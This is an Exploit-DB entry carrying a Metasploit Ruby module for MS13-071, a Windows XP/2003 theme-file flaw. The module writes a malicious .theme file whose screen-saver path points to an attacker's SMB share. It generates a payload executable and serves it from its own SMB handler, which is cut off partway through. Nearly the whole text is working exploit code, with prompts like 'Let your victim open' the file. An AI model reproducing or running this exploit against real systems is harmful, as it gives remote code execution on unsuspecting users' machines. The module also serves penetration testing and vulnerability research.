Exploit-DB #28482
Description: Microsoft Windows Theme File Handling - Arbitrary Code Execution (MS13-071) (Metasploit)
Type: remote
Platform: windows
Date: 2013-09-23
Author: Metasploit

Exploit:
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::SMBServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS13-071 Microsoft Windows Theme File Handling Arbitrary Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability mainly affecting Microsoft Windows XP and Windows
        2003. The vulnerability exists in the handling of the Screen Saver path, in the [boot]
        section. An arbitrary path can be used as screen saver, including a remote SMB resource,
        which allows for remote code execution when a malicious .theme file is opened, and the
        "Screen Saver" tab is viewed.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Eduardo Prado', # Vulnerability discovery
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2013-0810'],
          ['OSVDB', '97136'],
          ['MSB', 'MS13-071'],
          ['BID', '62176']
        ],
      'Payload'        =>
        {
          'Space'       => 2048,
          'DisableNops' => true
        },
      'DefaultOptions' =>
        {
          'DisablePayloadHandler' => 'false'
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          ['Windows XP SP3 / Windows 2003 SP2', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Sep 10 2013",
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [true, 'The theme file', 'msf.theme']),
          OptString.new('UNCPATH', [ false, 'Override the UNC path to use (Ex: \\\\192.168.1.1\\share\\exploit.scr)' ])
        ], self.class)
  end

  def exploit

    if (datastore['UNCPATH'])
      @unc = datastore['UNCPATH']
      print_status("Remember to share the malicious EXE payload as #{@unc}")
    else
      print_status("Generating our malicious executable...")
      @exe = generate_payload_exe
      my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST']
      @share = rand_text_alpha(5 + rand(5))
      @scr_file = "#{rand_text_alpha(5 + rand(5))}.scr"
      @hi, @lo = UTILS.time_unix_to_smb(Time.now.to_i)
      @unc = "\\\\#{my_host}\\#{@share}\\#{@scr_file}"
    end

    print_status("Creating '#{datastore['FILENAME']}' file ...")
    # Default Windows XP / 2003 theme modified
    theme = <<-EOF
; Copyright © Microsoft Corp. 1995-2001

[Theme]
DisplayName=@themeui.dll,-2016

; My Computer
[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%explorer.exe,0

; My Documents
[CLSID\\{450D8FBA-AD25-11D0-98A8-0800361B1103}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\mydocs.dll,0

; My Network Places
[CLSID\\{208D2C60-3AEA-1069-A2D7-08002B30309D}\\DefaultIcon]
DefaultValue=%WinDir%SYSTEM32\\shell32.dll,17

; Recycle Bin
[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon]
full=%WinDir%SYSTEM32\\shell32.dll,32
empty=%WinDir%SYSTEM32\\shell32.dll,31

[Control Panel\\Desktop]
Wallpaper=
TileWallpaper=0
WallpaperStyle=2
Pattern=
ScreenSaveActive=0

[boot]
SCRNSAVE.EXE=#{@unc}

[MasterThemeSelector]
MTSM=DABJDKT
    EOF
    file_create(theme)
    print_good("Let your victim open #{datastore['FILENAME']}")

    if not datastore['UNCPATH']
      print_status("Ready to deliver your payload on #{@unc}")
      super
    end

  end

  # TODO: these smb_* methods should be moved up to the SMBServer mixin
  # development and test on progress

  def smb_cmd_dispatch(cmd, c, buff)
    smb = @state[c]
    vprint_status("Received command #{cmd} from #{smb[:name]}")

    pkt = CONST::SMB_BASE_PKT.make_struct
    pkt.from_s(buff)
    #Record the IDs
    smb[:process_id] = pkt['Payload']['SMB'].v['ProcessID']
    smb[:user_id] = pkt['Payload']['SMB'].v['UserID']
    smb[:tree_id] = pkt['Payload']['SMB'].v['TreeID']
    smb[:multiplex_id] = pkt['Payload']['SMB'].v['MultiplexID']

    case cmd
      when CONST::SMB_COM_NEGOTIATE
        smb_cmd_negotiate(c, buff)
      when CONST::SMB_COM_SESSION_SETUP_ANDX
        wordcount = pkt['Payload']['SMB'].v['WordCount']
        if wordcount == 0x0D # It's the case for Share Security Mode sessions
          smb_cmd_session_setup(c, buff)
        else
          vprint_status("SMB Capture - #{smb[:ip]} Unknown SMB_COM_SESSION_SETUP_ANDX request type , ignoring... ")
          smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
        end
      when CONST::SMB_COM_TRANSACTION2
        smb_cmd_trans(c, buff)
      when CONST::SMB_COM_NT_CREATE_ANDX
        smb_cmd_create(c, buff)
      when CONST::SMB_COM_READ_ANDX
        smb_cmd_read(c, buff)
      else
        vprint_status("SMB Capture - Ignoring request from #{smb[:name]} - #{smb[:ip]} (#{cmd})")
        smb_error(cmd, c, CONST::SMB_STATUS_SUCCESS)
    end
  end


  def smb_cmd_negotiate(c, buff)
    pkt = CONST::SMB_NEG_PKT.make_struct
    pkt.from_s(buff)

    dialects = pkt['Payload'].v['Payload'].gsub(/\x00/, '').split(/\x02/).grep(/^\w+/)

    dialect = dialects.index("NT LM 0.12") || dialects.length-1

    pkt = CONST::SMB_NEG_RES_NT_PKT.make_struct
    smb_set_defaults(c, pkt)

    time_hi, time_lo = UTILS.time_unix_to_smb(Time.now.to_i)

    pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NEGOTIATE
    pkt['Payload']['SMB'].v['Flags1'] = 0x88
    pkt['Payload']['SMB'].v['Flags2'] = 0xc001
    pkt['Payload']['SMB']